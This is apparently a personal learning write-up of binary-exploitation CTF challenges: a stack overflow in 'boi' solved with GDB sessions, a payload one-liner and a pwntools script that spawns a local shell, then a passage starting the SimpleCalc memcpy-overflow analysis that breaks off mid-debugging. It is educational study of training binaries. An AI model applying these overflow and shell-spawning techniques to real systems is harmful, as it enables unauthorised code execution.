For help, type "help".
Type "apropos word" to search for commands related to "word"...
GEF for linux ready, type `gef' to start, `gef config' to configure
92 commands loaded for GDB 10.1.90.20210103-git using Python engine 3.9
Reading symbols from ./boi...
(No debugging symbols found in ./boi)
gef➤ b *0x4006a5
Breakpoint 1 at 0x4006a5
gef➤ r
Starting program: /home/nothing/binexp/2/boi
Are you a big boiiiii??
11223344
Breakpoint 1, 0x00000000004006a5 in main ()
[ Legend: Modified register | Code | Heap | Stack | String ]
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$rax : 0x9
$rbx : 0x0
$rcx : 0x00007ffff7edce8e → 0x5a77fffff0003d48 ("H="?)
$rdx : 0x18
$rsp : 0x00007fffffffe0f0 → 0x00007fffffffe228 → 0x00007fffffffe500 → "/home/nothing/binexp/2/boi"
$rbp : 0x00007fffffffe130 → 0x00000000004006e0 → <__libc_csu_init+0> push r15
$rsi : 0x00007fffffffe100 → "11223344\n"
$rdi : 0x0
$rip : 0x00000000004006a5 → mov eax, DWORD PTR [rbp-0x1c]
$r8 : 0x18
$r9 : 0x00007ffff7facbe0 → 0x00000000006026a0 → 0x0000000000000000
$r10 : 0xfffffffffffff28b
$r11 : 0x246
$r12 : 0x0000000000400530 → <_start+0> xor ebp, ebp
$r13 : 0x0
$r14 : 0x0
$r15 : 0x0
$eflags: [zero CARRY PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x00007fffffffe0f0│+0x0000: 0x00007fffffffe228 → 0x00007fffffffe500 → "/home/nothing/binexp/2/boi" ← $rsp
0x00007fffffffe0f8│+0x0008: 0x000000010040072d
0x00007fffffffe100│+0x0010: "11223344\n" ← $rsi
0x00007fffffffe108│+0x0018: 0x000000000000000a
0x00007fffffffe110│+0x0020: 0xdeadbeef00000000
0x00007fffffffe118│+0x0028: 0x0000000000000000
0x00007fffffffe120│+0x0030: 0x00007fffffffe220 → 0x0000000000000001
0x00007fffffffe128│+0x0038: 0xd7f7b092c102bd00
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
0x400698 mov rsi, rax
0x40069b mov edi, 0x0
0x4006a0 call 0x400500
●→ 0x4006a5 mov eax, DWORD PTR [rbp-0x1c]
0x4006a8 cmp eax, 0xcaf3baee
0x4006ad jne 0x4006bb
0x4006af mov edi, 0x40077c
0x4006b4 call 0x400626
0x4006b9 jmp 0x4006c5
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "boi", stopped 0x4006a5 in main (), reason: BREAKPOINT
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x4006a5 → main()
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
gef➤ search-pattern 11223344
[+] Searching '11223344' in memory
[+] In '[stack]'(0x7ffffffde000-0x7ffffffff000), permission=rw-
0x7fffffffe100 - 0x7fffffffe10a → "11223344\n"
Now from here we used the input '11223344' and gdb managed to find where it was located, so let's get more info on the **0x7fffffffe100** adress:
gef➤ x/10g 0x7fffffffe100
0x7fffffffe100: 0x3434333332323131 0xa
**0x7fffffffe110: 0xdeadbeef00000000 0x0**
0x7fffffffe120: 0x7fffffffe220 0xd7f7b092c102bd00
0x7fffffffe130: 0x4006e0 0x7ffff7e14d0a
0x7fffffffe140: 0x7fffffffe228 0x100000000
From that output you can see the 0xdeadbeef value appearing at the 10 bytes offset we mentionned earlier.
0040067e c7 45 e4 MOV dword ptr [RBP + local_28+0x4],0xdeadbeef
ef be ad de
Now from here we will use python to create a specific payload, since we know that our input 11223344 is 10 bytes away, we will give the input of 10 zeroes, +p32(0xcaf3baee). We need the hex address to be in 'least endian' (least significant byte first) so this means we will write caf3baee in reverse like this : ee ba f3 ca. That is because this is an ELF binary, we saw it at the beginning of this writeup, and because of how the elf will read in the data, so we have to pack it in the correct order to be read properly:
[ 192.168.100.126/24 ] [ /dev/pts/1 ] [~/binexp/2]
→ python -c 'print "0"*0x10 + "\xee\xba\xf3\xca"' > input
now here you see that we create a file called 'input' that has 10 bytes worth of 0 characters, so essentially we have 10 zero characters and then afterwards we have the caf3baee hex value written in reverse, or in 'least endian'. We will use this input to feed into our binary file, and then we will see if we successfully managed to overwrite the data we wanted:
[ 192.168.100.126/24 ] [ /dev/pts/1 ] [~/binexp/2]
→ gdb ./boi
GNU gdb (Debian 10.1-1.7) 10.1.90.20210103-git
Copyright (C) 2021 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
.
Find the GDB manual and other documentation resources online at:
.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
GEF for linux ready, type `gef' to start, `gef config' to configure
92 commands loaded for GDB 10.1.90.20210103-git using Python engine 3.9
Reading symbols from ./boi...
(No debugging symbols found in ./boi)
gef➤ b *0x4006a5
Breakpoint 1 at 0x4006a5
gef➤ r < input
Starting program: /home/nothing/binexp/2/boi < input
Are you a big boiiiii??
Breakpoint 1, 0x00000000004006a5 in main ()
[ Legend: Modified register | Code | Heap | Stack | String ]
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$rax : 0x15
$rbx : 0x0
$rcx : 0x00007ffff7edce8e → 0x5a77fffff0003d48 ("H="?)
$rdx : 0x18
$rsp : 0x00007fffffffe0f0 → 0x00007fffffffe228 → 0x00007fffffffe500 → "/home/nothing/binexp/2/boi"
$rbp : 0x00007fffffffe130 → 0x00000000004006e0 → <__libc_csu_init+0> push r15
$rsi : 0x00007fffffffe100 → 0x3030303030303030 ("00000000"?)
$rdi : 0x0
$rip : 0x00000000004006a5 → mov eax, DWORD PTR [rbp-0x1c]
$r8 : 0x18
$r9 : 0x00007ffff7facbe0 → 0x00000000006026a0 → 0x0000000000000000
$r10 : 0xfffffffffffff28b
$r11 : 0x246
$r12 : 0x0000000000400530 → <_start+0> xor ebp, ebp
$r13 : 0x0
$r14 : 0x0
$r15 : 0x0
$eflags: [zero CARRY parity adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x00007fffffffe0f0│+0x0000: 0x00007fffffffe228 → 0x00007fffffffe500 → "/home/nothing/binexp/2/boi" ← $rsp
0x00007fffffffe0f8│+0x0008: 0x000000010040072d
0x00007fffffffe100│+0x0010: 0x3030303030303030 ← $rsi
0x00007fffffffe108│+0x0018: 0x3030303030303030
0x00007fffffffe110│+0x0020: 0xdeadbe0acaf3baee
0x00007fffffffe118│+0x0028: 0x0000000000000000
0x00007fffffffe120│+0x0030: 0x00007fffffffe220 → 0x0000000000000001
0x00007fffffffe128│+0x0038: 0xeea3ebadbb735f00
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
0x400698 mov rsi, rax
0x40069b mov edi, 0x0
0x4006a0 call 0x400500
●→ 0x4006a5 mov eax, DWORD PTR [rbp-0x1c]
0x4006a8 cmp eax, 0xcaf3baee
0x4006ad jne 0x4006bb
0x4006af mov edi, 0x40077c
0x4006b4 call 0x400626
0x4006b9 jmp 0x4006c5
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "boi", stopped 0x4006a5 in main (), reason: BREAKPOINT
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x4006a5 → main()
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
gef➤ search-pattern 0000000000
[+] Searching '0000000000' in memory
[+] In '/usr/lib/x86_64-linux-gnu/libc-2.31.so'(0x7ffff7f5e000-0x7ffff7fa8000), permission=r--
0x7ffff7f7fd50 - 0x7ffff7f7fd60 → "0000000000000000"
[+] In '[stack]'(0x7ffffffde000-0x7ffffffff000), permission=rw-
0x7fffffffe100 - 0x7fffffffe10a → "0000000000[...]"
gef➤ x/10g 0x7fffffffe100
0x7fffffffe100: 0x3030303030303030 0x3030303030303030
0x7fffffffe110: 0xdeadbe0acaf3baee 0x0
0x7fffffffe120: 0x7fffffffe220 0xeea3ebadbb735f00
0x7fffffffe130: 0x4006e0 0x7ffff7e14d0a
0x7fffffffe140: 0x7fffffffe228 0x100000000
Here we can see at address 0x7fffffffe110 that the previous value of 0xdeadbeef got partially overwritten by our values caf3baee, with an offset of 8 hexadecimals, and for some reason we need to adjust the payload with only 4 hexadimals (from 10 to 14):
[ 192.168.100.126/24 ] [ /dev/pts/2 ] [~/binexp/2]
→ python -c 'print "0"*0x10 + "\xee\xba\xf3\xca"'
0000000000000000
[ 192.168.100.126/24 ] [ /dev/pts/2 ] [~/binexp/2]
→ python -c 'print "0"*0x14 + "\xee\xba\xf3\xca"'
00000000000000000000
[ 192.168.100.126/24 ] [ /dev/pts/2 ] [~/binexp/2]
→ python -c 'print "0"*0x14 + "\xee\xba\xf3\xca"' > input
[ 192.168.100.126/24 ] [ /dev/pts/1 ] [~/binexp/2]
→ gdb ./boi
GNU gdb (Debian 10.1-1.7) 10.1.90.20210103-git
Copyright (C) 2021 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
.
Find the GDB manual and other documentation resources online at:
.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
GEF for linux ready, type `gef' to start, `gef config' to configure
92 commands loaded for GDB 10.1.90.20210103-git using Python engine 3.9
Reading symbols from ./boi...
(No debugging symbols found in ./boi)
gef➤ b *0x4006a5
Breakpoint 1 at 0x4006a5
gef➤ r < input
Starting program: /home/nothing/binexp/2/boi < input
Are you a big boiiiii??
Breakpoint 1, 0x00000000004006a5 in main ()
[ Legend: Modified register | Code | Heap | Stack | String ]
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$rax : 0x18
$rbx : 0x0
$rcx : 0x00007ffff7edce8e → 0x5a77fffff0003d48 ("H="?)
$rdx : 0x18
$rsp : 0x00007fffffffe0f0 → 0x00007fffffffe228 → 0x00007fffffffe500 → "/home/nothing/binexp/2/boi"
$rbp : 0x00007fffffffe130 → 0x00000000004006e0 → <__libc_csu_init+0> push r15
$rsi : 0x00007fffffffe100 → 0x3030303030303030 ("00000000"?)
$rdi : 0x0
$rip : 0x00000000004006a5 → mov eax, DWORD PTR [rbp-0x1c]
$r8 : 0x18
$r9 : 0x00007ffff7facbe0 → 0x00000000006026a0 → 0x0000000000000000
$r10 : 0xfffffffffffff28b
$r11 : 0x246
$r12 : 0x0000000000400530 → <_start+0> xor ebp, ebp
$r13 : 0x0
$r14 : 0x0
$r15 : 0x0
$eflags: [zero CARRY PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x00007fffffffe0f0│+0x0000: 0x00007fffffffe228 → 0x00007fffffffe500 → "/home/nothing/binexp/2/boi" ← $rsp
0x00007fffffffe0f8│+0x0008: 0x000000010040072d
0x00007fffffffe100│+0x0010: 0x3030303030303030 ← $rsi
0x00007fffffffe108│+0x0018: 0x3030303030303030
0x00007fffffffe110│+0x0020: 0xcaf3baee30303030
0x00007fffffffe118│+0x0028: 0x0000000000000000
0x00007fffffffe120│+0x0030: 0x00007fffffffe220 → 0x0000000000000001
0x00007fffffffe128│+0x0038: 0xeacf1d34e3c42300
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
0x400698 mov rsi, rax
0x40069b mov edi, 0x0
0x4006a0 call 0x400500
●→ 0x4006a5 mov eax, DWORD PTR [rbp-0x1c]
0x4006a8 cmp eax, 0xcaf3baee
0x4006ad jne 0x4006bb
0x4006af mov edi, 0x40077c
0x4006b4 call 0x400626
0x4006b9 jmp 0x4006c5
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "boi", stopped 0x4006a5 in main (), reason: BREAKPOINT
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x4006a5 → main()
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
gef➤ search-pattern 00000000000000
[+] Searching '00000000000000' in memory
[+] In '/usr/lib/x86_64-linux-gnu/libc-2.31.so'(0x7ffff7f5e000-0x7ffff7fa8000), permission=r--
0x7ffff7f7fd50 - 0x7ffff7f7fd60 → "0000000000000000"
[+] In '[stack]'(0x7ffffffde000-0x7ffffffff000), permission=rw-
0x7fffffffe100 - 0x7fffffffe10e → "00000000000000[...]"
gef➤ x/10g 0x7fffffffe100
0x7fffffffe100: 0x3030303030303030 0x3030303030303030
0x7fffffffe110: 0xcaf3baee30303030 0x0
0x7fffffffe120: 0x7fffffffe220 0xeacf1d34e3c42300
0x7fffffffe130: 0x4006e0 0x7ffff7e14d0a
0x7fffffffe140: 0x7fffffffe228 0x100000000
and this time we successfully overwrote the 0xdeadbeef value with our own 0xcaf3baee value! so when we continue onto the cmp instruction related to the if statement, we can see that we actually pass the check correctly, we need to se the next breakpoint at 0x4006a8 because this is where the CMP assembly instruction is:
![](4.png)
004006a8 3d ee ba CMP EAX,0xcaf3baee
f3 ca
004006ad 75 0c JNZ LAB_004006bb
004006af bf 7c 07 MOV EDI=>s_/bin/bash_0040077c,s_/bin/bash_0040077c = "/bin/bash"
40 00
004006b4 e8 6d ff CALL run_cmd undefined run_cmd()
ff ff
gef➤ b *0x4006a8
Breakpoint 2 at 0x4006a8
gef➤ c
Continuing.
Breakpoint 2, 0x00000000004006a8 in main ()
[ Legend: Modified register | Code | Heap | Stack | String ]
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$rax : 0xcaf3baee
$rbx : 0x0
$rcx : 0x00007ffff7edce8e → 0x5a77fffff0003d48 ("H="?)
$rdx : 0x18
$rsp : 0x00007fffffffe0f0 → 0x00007fffffffe228 → 0x00007fffffffe500 → "/home/nothing/binexp/2/boi"
$rbp : 0x00007fffffffe130 → 0x00000000004006e0 → <__libc_csu_init+0> push r15
$rsi : 0x00007fffffffe100 → 0x3030303030303030 ("00000000"?)
$rdi : 0x0
$rip : 0x00000000004006a8 → cmp eax, 0xcaf3baee
$r8 : 0x18
$r9 : 0x00007ffff7facbe0 → 0x00000000006026a0 → 0x0000000000000000
$r10 : 0xfffffffffffff28b
$r11 : 0x246
$r12 : 0x0000000000400530 → <_start+0> xor ebp, ebp
$r13 : 0x0
$r14 : 0x0
$r15 : 0x0
$eflags: [zero CARRY PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x00007fffffffe0f0│+0x0000: 0x00007fffffffe228 → 0x00007fffffffe500 → "/home/nothing/binexp/2/boi" ← $rsp
0x00007fffffffe0f8│+0x0008: 0x000000010040072d
0x00007fffffffe100│+0x0010: 0x3030303030303030 ← $rsi
0x00007fffffffe108│+0x0018: 0x3030303030303030
0x00007fffffffe110│+0x0020: 0xcaf3baee30303030
0x00007fffffffe118│+0x0028: 0x0000000000000000
0x00007fffffffe120│+0x0030: 0x00007fffffffe220 → 0x0000000000000001
0x00007fffffffe128│+0x0038: 0xeacf1d34e3c42300
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
0x40069b mov edi, 0x0
0x4006a0 call 0x400500
● 0x4006a5 mov eax, DWORD PTR [rbp-0x1c]
●→ 0x4006a8 cmp eax, 0xcaf3baee
0x4006ad jne 0x4006bb
0x4006af mov edi, 0x40077c
0x4006b4 call 0x400626
0x4006b9 jmp 0x4006c5
0x4006bb mov edi, 0x400786
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "boi", stopped 0x4006a8 in main (), reason: BREAKPOINT
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x4006a8 → main()
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
gef➤
Now from here we see the cmp value is comparing the eax register to the value 0xcaf3baee, so let's check what is inside eax:
gef➤ p $eax
$1 = 0xcaf3baee
So this means we should successfully pass the cmp instruction because both values are equal to 0xcaf3baee, so let's use python's pwntools to write an exploit to solve the challenge:
[ 192.168.100.126/24 ] [ /dev/pts/1 ] [~/binexp/2]
→ ls
boi input
[ 192.168.100.126/24 ] [ /dev/pts/1 ] [~/binexp/2]
→ vim exploit.py
#First, import the pwntools library
from pwn import *
#then set the target as the ./boi process
target = process ('./boi')
#then create the 14 0 bytes and little endian caf3baee payload
payload = "0"*0x14 + + "\xee\xba\xf3\xca"
# send the payload to the process
target.send(payload)
#and then drop into a shell to view the result
target.interactive()
now let's test it:
[ 192.168.100.126/24 ] [ /dev/pts/1 ] [~/binexp/2]
→ python3 exploit.py
[+] Starting local process './boi': pid 9071
[*] Switching to interactive mode
Are you a big boiiiii??
$ id
uid=1000(nothing) gid=1000(nothing) groups=1000(nothing),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),109(netdev),113(kaboxer)
$ echo $0
/bin/bash
and we succeeded ! It managed to spawn the bash shell like we wanted.
## Title
text
` ![]()
## Title
text
` ![]()

851
2/calc.md Normal file
View file

@ -0,0 +1,851 @@
# BKP 2016 SimpleCalc
Holy shit there is a HUGE jump in difficulty at this point, buckle up !
## Downloading the binary file
[ 192.168.0.18/24 ] [ /dev/pts/14 ] [binexp/2/calc]
→ wget https://github.com/guyinatuxedo/nightmare/raw/master/modules/07-bof_static/bkp16_simplecalc/simplecalc
--2021-03-05 18:28:45-- https://github.com/guyinatuxedo/nightmare/raw/master/modules/07-bof_static/bkp16_simplecalc/simplecalc
Loaded CA certificate '/etc/ssl/certs/ca-certificates.crt'
Resolving github.com (github.com)... 140.82.121.4
Connecting to github.com (github.com)|140.82.121.4|:443... connected.
HTTP request sent, awaiting response... 302 Found
Location: https://raw.githubusercontent.com/guyinatuxedo/nightmare/master/modules/07-bof_static/bkp16_simplecalc/simplecalc [following]
--2021-03-05 18:28:46-- https://raw.githubusercontent.com/guyinatuxedo/nightmare/master/modules/07-bof_static/bkp16_simplecalc/simplecalc
Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 185.199.109.133, 185.199.108.133, 185.199.111.133, ...
Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|185.199.109.133|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 882266 (862K) [application/octet-stream]
Saving to: simplecalc
simplecalc 100%[============================================================================================================================================================================>] 861.59K 2.36MB/s in 0.4s
2021-03-05 18:28:47 (2.36 MB/s) - simplecalc saved [882266/882266]
[ 192.168.0.18/24 ] [ /dev/pts/14 ] [binexp/2/calc]
→ file simplecalc
simplecalc: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.24, BuildID[sha1]=3ca876069b2b8dc3f412c6205592a1d7523ba9ea, not stripped
[ 192.168.0.18/24 ] [ /dev/pts/14 ] [binexp/2/calc]
→ chmod +x simplecalc
` ![]()
## Solution
First let's check what the binary does by executing it:
[ 192.168.0.18/24 ] [ /dev/pts/14 ] [binexp/2/calc]
→ ./simplecalc
|#------------------------------------#|
| Something Calculator |
|#------------------------------------#|
Expected number of calculations: 3
Invalid number.
[ 192.168.0.18/24 ] [ /dev/pts/14 ] [binexp/2/calc]
→ ./simplecalc
|#------------------------------------#|
| Something Calculator |
|#------------------------------------#|
Expected number of calculations: 1
Invalid number.
The binary file prints out some text, and then asks for some input, and then just says 'invalid' so let's check it from inside ghidra:
![](27.png)
So we get the following code:
undefined8 main(void)
{
undefined auStack72 [40];
int iStack32;
int iStack28;
void *pvStack24;
int iStack12;
iStack28 = 0;
setvbuf((FILE *)stdin,(char *)0x0,2,0);
setvbuf((FILE *)stdout,(char *)0x0,2,0);
print_motd();
printf("Expected number of calculations: ");
__isoc99_scanf(&DAT;_00494214,&iStack28;);
handle_newline();
if ((iStack28 < 0x100) && (3 < iStack28)) {
pvStack24 = malloc((long)(iStack28 << 2));
iStack12 = 0;
while (iStack12 < iStack28) {
print_menu();
__isoc99_scanf(&DAT;_00494214,&iStack32;);
handle_newline();
if (iStack32 == 1) {
adds();
*(undefined4 *)((long)iStack12 * 4 + (long)pvStack24) = add._8_4_;
}
else {
if (iStack32 == 2) {
subs();
*(undefined4 *)((long)iStack12 * 4 + (long)pvStack24) = sub._8_4_;
}
else {
if (iStack32 == 3) {
muls();
*(undefined4 *)((long)iStack12 * 4 + (long)pvStack24) = mul._8_4_;
}
else {
if (iStack32 == 4) {
divs();
*(undefined4 *)((long)iStack12 * 4 + (long)pvStack24) = divv._8_4_;
}
else {
if (iStack32 == 5) {
memcpy(auStack72,pvStack24,(long)(iStack28 << 2));
free(pvStack24);
return 0;
}
puts("Invalid option.\n");
}
}
}
}
iStack12 = iStack12 + 1;
}
free(pvStack24);
}
else {
puts("Invalid number.");
}
return 0;
}
Here we see that the main function checks if our input number is between 3 and 0x100, if no tit just prints 'Invalid Number' now let's run the binary again to verify that:
[ 192.168.0.18/24 ] [ /dev/pts/14 ] [binexp/2/calc]
→ ./simplecalc
|#------------------------------------#|
| Something Calculator |
|#------------------------------------#|
Expected number of calculations: 5
Options Menu:
[1] Addition.
[2] Subtraction.
[3] Multiplication.
[4] Division.
[5] Save and Exit.
=> 1
Integer x: 1
Integer y: 2
Do you really need help calculating such small numbers?
Shame on you... Bye
[ 192.168.0.18/24 ] [ /dev/pts/14 ] [binexp/2/calc]
→ ./simplecalc
|#------------------------------------#|
| Something Calculator |
|#------------------------------------#|
Expected number of calculations: 5
Options Menu:
[1] Addition.
[2] Subtraction.
[3] Multiplication.
[4] Division.
[5] Save and Exit.
=> 1
Integer x: 123456
Integer y: 654321
Result for x + y is 777777.
Options Menu:
[1] Addition.
[2] Subtraction.
[3] Multiplication.
[4] Division.
[5] Save and Exit.
=> 5
Now we see some more info about the binary, looking back at the reversed code in ghidra we see some more info:
__isoc99_scanf(&DAT;_00494214,&numberCalcs;);
handle_newline();
if ((numberCalcs < 0x100) && (3 < numberCalcs)) {
calculations = malloc((long)(numberCalcs << 2));
after scanning for our input, we give a correct number of calculations, we see that it malloc a size equal to **numberCalcs****< 2 ** and then store the pointer to it in the **calculations** variable this is the same operation as doing numverCalcs * 4. Basically, allocating numberCalcs number of integers which each of them are 4 bytes large. Then it will enter into a while loop that runs once for each calculation we will specify. Looking at the assembly code for the multiplication section, we see the muls function:
![](28.png)
004014d3 83 f8 03 CMP EAX,0x3
004014d6 75 23 JNZ LAB_004014fb
004014d8 e8 cb fd CALL muls
Now let's take a look at the muls function:
void muls(void)
{
printf("Integer x: ");
__isoc99_scanf(&DAT;_00494214,mul);
handle_newline();
printf("Integer y: ");
__isoc99_scanf(&DAT;_00494214,0x6c4aa4);
handle_newline();
if ((0x27 < mul._0_4_) && (0x27 < mul._4_4_)) {
mul._8_4_ = mul._4_4_ * mul._0_4_;
printf("Result for x * y is %d.\n\n",(ulong)mul._8_4_);
return;
}
puts("Do you really need help calculating such small numbers?\nShame on you... Bye");
/* WARNING: Subroutine does not return */
exit(-1);
}
Here it basically checks that the 2 numbers are equal or greater to 0x27, The other operations (add, sub, div are p much the same) The bug that we need to notice is at the 5th option:
if (local_20 == 5) {
memcpy(local_48,local_18,(long)(local_1c << 2));
free(local_18);
return 0;
}
In here there is the memcpy function being used to copy our calculations into**local_48** which is a vulnerable buffer because it does not do a size check, therefore if we have enough calculations, we can overflow the buffer and overwrite the return address because there is no stack canary to prevent this as you can see below:
[ 192.168.0.18/24 ] [ /dev/pts/14 ] [binexp/2/calc]
→ pwn checksec simplecalc
[*] '/home/nothing/binexp/2/calc/simplecalc'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Now from here we want to find the offset between the start of our input and the return address using gdb:
![](29.png)
We want the first breakpoint to be right after the memcpy function so we choose the address of **0x0040154a**
gef➤ b *0x40154a
Breakpoint 1 at 0x40154a
gef➤ r
Starting program: /home/nothing/binexp/2/calc/simplecalc
|#------------------------------------#|
| Something Calculator |
|#------------------------------------#|
Expected number of calculations: 50
Options Menu:
[1] Addition.
[2] Subtraction.
[3] Multiplication.
[4] Division.
[5] Save and Exit.
=> 1
Integer x: 13371337
Integer y: 13371337
Result for x + y is 26742674.
Options Menu:
[1] Addition.
[2] Subtraction.
[3] Multiplication.
[4] Division.
[5] Save and Exit.
=> 5
Breakpoint 1, 0x000000000040154a in main ()
[ Legend: Modified register | Code | Heap | Stack | String ]
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$rax : 0x00007fffffffdef0 → 0x0000000001980f92
$rbx : 0x00000000004002b0 → <_init+0> sub rsp, 0x8
$rcx : 0x0
$rdx : 0x0
$rsp : 0x00007fffffffdee0 → 0x00007fffffffe018 → 0x00007fffffffe34d → "/home/nothing/binexp/2/calc/simplecalc"
$rbp : 0x00007fffffffdf30 → 0x0000000000000000
$rsi : 0x00000000006c8c98 → 0x0000000000020371
$rdi : 0x00007fffffffdfb8 → 0x0000000000000000
$rip : 0x000000000040154a → mov rax, QWORD PTR [rbp-0x10]
$r8 : 0x0
$r9 : 0x0
$r10 : 0x0
$r11 : 0x0
$r12 : 0x0
$r13 : 0x0000000000401c00 → <__libc_csu_init+0> push r14
$r14 : 0x0000000000401c90 → <__libc_csu_fini+0> push rbx
$r15 : 0x0
$eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x00007fffffffdee0│+0x0000: 0x00007fffffffe018 → 0x00007fffffffe34d → "/home/nothing/binexp/2/calc/simplecalc" ← $rsp
0x00007fffffffdee8│+0x0008: 0x0000000100400d41 ("A\r@"?)
0x00007fffffffdef0│+0x0010: 0x0000000001980f92 ← $rax
0x00007fffffffdef8│+0x0018: 0x0000000000000000
0x00007fffffffdf00│+0x0020: 0x0000000000000000
0x00007fffffffdf08│+0x0028: 0x0000000000000000
0x00007fffffffdf10│+0x0030: 0x0000000000000000
0x00007fffffffdf18│+0x0038: 0x0000000000000000
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
0x40153d rex.RB ror BYTE PTR [r8-0x77], 0xce
0x401542 mov rdi, rax
0x401545 call 0x4228d0
●→ 0x40154a mov rax, QWORD PTR [rbp-0x10]
0x40154e mov rdi, rax
0x401551 call 0x4156d0
0x401556 mov eax, 0x0
0x40155b jmp 0x401588
0x40155d mov edi, 0x494402
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "simplecalc", stopped 0x40154a in main (), reason: BREAKPOINT
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x40154a → main()
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
gef➤
Here we first set the breakpoint at **0x40154a** , then we ran the binary, we selected 50 calculations, then made an addition with the 2 numbers 13371337 and 13371337 which gave us a result of **26742674** , and then we selected 5 to exit and reach the **memcpy** call and thus, our breakpoint, Now what we want to know is where is the result (26742674) stored ? To know this, we need to first know the hex value of our result:
[ 192.168.0.18/24 ] [ /dev/pts/2 ] [binexp/2/calc]
→ python3
Python 3.9.2 (default, Feb 20 2021, 18:40:11)
[GCC 10.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> hex(26742674)
'0x1980f92'
Now we know that we have to find **0x1980f92** in memory, so we search for the 0x1980f92 pattern in gdb :
gef➤ search-pattern '0x1980f92'
[+] Searching '0x1980f92' in memory
gef➤ search-pattern 0x1980f92
[+] Searching '0x1980f92' in memory
gef➤
Now as you can see **0x198 0f92** is 7 bytes long. if we try to search that pattern, we won't find it:
gef➤ search-pattern 0x1980f92
[+] Searching '0x1980f92' in memory
So here we need to add an extra zero to end up with 8 bytes: **0x0198 0f92** and then we can find the pattern in memory:
gef➤ search-pattern 0x01980f92
[+] Searching '\x92\x0f\x98\x01' in memory
[+] In '[heap]'(0x6c3000-0x6e9000), permission=rw-
